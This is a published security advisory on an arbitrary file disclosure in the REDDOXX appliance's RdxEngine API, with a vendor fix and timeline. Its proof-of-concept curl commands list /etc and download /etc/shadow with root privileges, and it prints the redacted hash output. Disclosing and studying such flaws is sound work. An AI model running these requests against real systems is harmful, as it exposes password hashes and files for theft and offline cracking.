REDDOXX Appliance RdxEngine-API File Disclosure

`Advisory: Arbitrary File Disclosure with root Privileges via RdxEngine-API in REDDOXX Appliance  
  
RedTeam Pentesting discovered an arbitrary file disclosure vulnerability  
in the REDDOXX appliance software, which allows unauthenticated  
attackers to list directory contents and download arbitrary files from  
the affected system with root permissions.  
  
Details  
=======  
  
Product: REDDOXX Appliance  
Affected Versions: Build 2032 / v2.0.625, older versions likely affected too  
Fixed Versions: Version 2032 SP2  
Vulnerability Type: Arbitrary File Disclosure  
Security Risk: high  
Vendor URL: https://www.reddoxx.com/  
Vendor Status: patch available  
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-006  
Advisory Status: published  
CVE: GENERIC-MAP-NOMATCH  
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH  
  
  
Introduction  
============  
  
"REDDOXX is a leading supplier of solutions for e-mail archiving,  
encrypted and digitally signed e-mail traffic as well as spam  
protection. Our focus is on technological innovation: taking our cue  
from our clientsa requirements our competent and quality-conscious  
employees strive to offer you the best possible products at all times.  
Using stringent quality standards and proven processes we keep  
developing our company and products continuously, with the goal of  
continuous improvement."  
  
(from the vendor's homepage)  
  
  
More Details  
============  
  
When using the user frontend of the REDDOXX appliance [0] reachable via  
http://www.example.com/rws/user/, HTTP POST requests are used to perform  
certain actions. For example, the following request is used to save the  
settings of the current user's profile:  
  
------------------------------------------------------------------------  
POST /RdxEngine/json HTTP/1.1  
Host: www.example.com  
[...]  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 210  
Connection: close  
  
{  
"method": "CoreService.SaveUserProfile",  
"params": {  
"Profile": {  
"UseHtmlMail": true,  
"DefaultArchiveDisplayPeriode": "5",  
"ReportLanguage": "en",  
"EnableQueueReport": true  
}  
},  
"id": "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}"  
}  
------------------------------------------------------------------------  
  
Through analysis of the .NET binaries pertaining to this endpoint,  
extracted from the appliance ISO offered on the vendor's homepage [1],  
the methods handling these requests were examined. For the  
"SaveUserProfile" method, which is specified through the POST parameter  
"method", the code is as follows:  
  
------------------------------------------------------------------------  
// Reddoxx.Api.Legacy.CoreServiceService  
public void SaveUserProfile(TRoUserProfile Profile)  
{  
try  
{  
this.client.OnStartRequest("CoreService", "SaveUserProfile");  
this.Service.SaveUserProfile(Profile);  
this.client.OnEndRequest("CoreService", "SaveUserProfile");  
}  
catch (System.Exception e)  
{  
this.client.HandleException("CoreService", "SaveUserProfile", e);  
}  
}  
------------------------------------------------------------------------  
  
The "TroUserProfile" class contains information about the parameters  
that are required for valid requests to this method:  
  
------------------------------------------------------------------------  
namespace Reddoxx.Api.Legacy  
{  
[...]  
public class TRoUserProfile : ComplexType  
{  
private string __ReportLanguage;  
  
private int __DefaultArchiveDisplayPeriode;  
  
private bool __EnableQueueReport;  
  
private bool __UseHtmlMail;  
  
[...]  
}  
}  
------------------------------------------------------------------------  
  
These variable names correspond to the POST parameters contained in the  
request that was created when the profile was saved. With this knowledge  
about how methods are called and parameters are passed, it was attempted  
to call other methods from different packages. It was determined that it  
is possible to access certain methods which allow reading arbitrary  
files and directory listings.  
  
It was later discovered that the process handling requests to the  
vulnerable methods runs with root privileges.  
  
  
Proof of Concept  
================  
  
At least two methods are found to be of interest for attackers:  
FileTransfer.GetDirectoryList, which returns a directory listing for a  
path specified via a parameter, and FileTransfer.DownloadFile, which  
returns the file specified via a parameter in Base64-encoded form. The  
following curl command-lines can be used to call the respective methods:  
  
------------------------------------------------------------------------  
$ curl --silent --data-binary '{"id":"{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",'\  
'"method":"FileTransfer.GetDirectoryList","params":{"Directory": "/etc/"}}' \  
'http://www.example.com/RdxEngine/json' | jq '.result.FileInfoList[].FileName'  
"chatscripts"  
"gtk-2.0"  
"xen"  
"dbus-1"  
"request-key.d"  
"smartmontools"  
"console"  
"skel"  
"xml"  
"initramfs-tools"  
"sysctl.d"  
"pear"  
"sudoers.d"  
"cron.monthly"  
"rc5.d"  
"init"  
"byobu"  
"pki"  
"xpdf"  
"cron.weekly"  
"snmp"  
"ld.so.conf.d"  
[...]  
------------------------------------------------------------------------  
  
Since the process handling the requests runs with root privileges, it  
was also possible to read the contents of the file "/etc/passwd":  
  
------------------------------------------------------------------------  
$ curl --silent --data-binary '{"id":"{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",'\  
'"method":"FileTransfer.DownloadFile","params":{"FileName": "/etc/shadow",'\  
'"Sequence": 1,"ChunkSize": 10000}}' 'http://www.example.com/RdxEngine/json' \  
| jq -r .result.ChunkData | tr -d '\r\n' | base64 -d  
root:$6$XXXXXXXX$YYYYYYY[...]YYYYYYYY:14993:0:99999:7:::  
daemon:*:16652:0:99999:7:::  
bin:*:16652:0:99999:7:::  
sys:*:16652:0:99999:7:::  
sync:*:16652:0:99999:7:::  
games:*:16652:0:99999:7:::  
man:*:16652:0:99999:7:::  
lp:*:16652:0:99999:7:::  
mail:*:16652:0:99999:7:::  
news:*:16652:0:99999:7:::  
uucp:*:16652:0:99999:7:::  
proxy:*:16652:0:99999:7:::  
www-data:*:16652:0:99999:7:::  
backup:*:16652:0:99999:7:::  
list:*:16652:0:99999:7:::  
irc:*:16652:0:99999:7:::  
gnats:*:16652:0:99999:7:::  
nobody:*:16652:0:99999:7:::  
libuuid:!:16652:0:99999:7:::  
syslog:*:16652:0:99999:7:::  
messagebus:*:16899:0:99999:7:::  
sshd:*:16899:0:99999:7:::  
vboxadd:!:16899::::::  
statd:*:16899:0:99999:7:::  
admin:$1$XXXXXXXX$ZZZZZZZZZZZZZZZZZZZZZZ:14054:0:99999:7:::  
clamav:!:16899:0:99999:7:::  
ntp:*:16899:0:99999:7:::  
hacluster:!:16899:0:99999:7:::  
firebird:*:16899:0:99999:7:::  
redis:!:16899:0:99999:7:::  
snmp:*:16899:0:99999:7:::  
bind:*:16899:0:99999:7:::  
smbadmin:!:17037:0:99999:7:::  
smbuser:!:17037:0:99999:7:::  
------------------------------------------------------------------------  
  
  
Workaround  
==========  
  
None  
  
  
Fix  
===  
  
Update the appliance software to Version 2032 SP2.  
  
  
Security Risk  
=============  
  
Attackers with access to a REDDOXX appliance are able to retrieve  
directory listings and content of arbitrary files. Although this  
vulnerability requires attackers to submit a valid session ID, the  
vulnerabilities described in rt-sa-2017-004 [2] and rt-sa-2017-005 [3]  
show how this requirement can be fulfilled even by attackers without  
valid credentials. Additionally, the RdxEngine process handling the  
requests to the vulnerable methods runs with root privileges, allowing  
attackers to read any file on the filesystem and, for example, extract  
the local user hashes for offline brute-force attacks. This  
vulnerability is therefore rated as a high risk.  
  
  
Timeline  
========  
  
2017-05-17 Vulnerability identified  
2017-05-23 Customer approved disclosure of vulnerability  
2017-05-26 Customer provided details of vulnerability to vendor  
2017-07-20 Vulnerability reported as fixed by vendor  
2017-07-24 Advisory released  
  
  
References  
==========  
  
[0] https://www.reddoxx.com/en/  
[1] https://my.reddoxx.com/documents/manual/en/custdl/product-downloads  
(Requires login)  
[2] https://www.redteam-pentesting.de/advisories/rt-sa-2017-004  
[3] https://www.redteam-pentesting.de/advisories/rt-sa-2017-005  
  
  
RedTeam Pentesting GmbH  
=======================  
  
RedTeam Pentesting offers individual penetration tests performed by a  
team of specialised IT-security experts. Hereby, security weaknesses in  
company networks or products are uncovered and can be fixed immediately.  
  
As there are only few experts in this field, RedTeam Pentesting wants to  
share its knowledge and enhance the public knowledge with research in  
security-related areas. The results are made available as public  
security advisories.  
  
More information about RedTeam Pentesting can be found at:  
https://www.redteam-pentesting.de/  
  
  
Working at RedTeam Pentesting  
=============================  
  
RedTeam Pentesting GmbH is looking for more penetration testers to join  
our team. If you are interested in working for RedTeam Pentesting in  
Aachen, please visit the respective section of our website.  
  
--   
RedTeam Pentesting GmbH Tel.: +49 241 510081-0  
Dennewartstr. 25-27 Fax : +49 241 510081-99  
52068 Aachen https://www.redteam-pentesting.de  
Germany Registergericht: Aachen HRB 14004  
GeschA$?ftsfA1/4hrer: Patrick Hof, Jens Liebchen  
`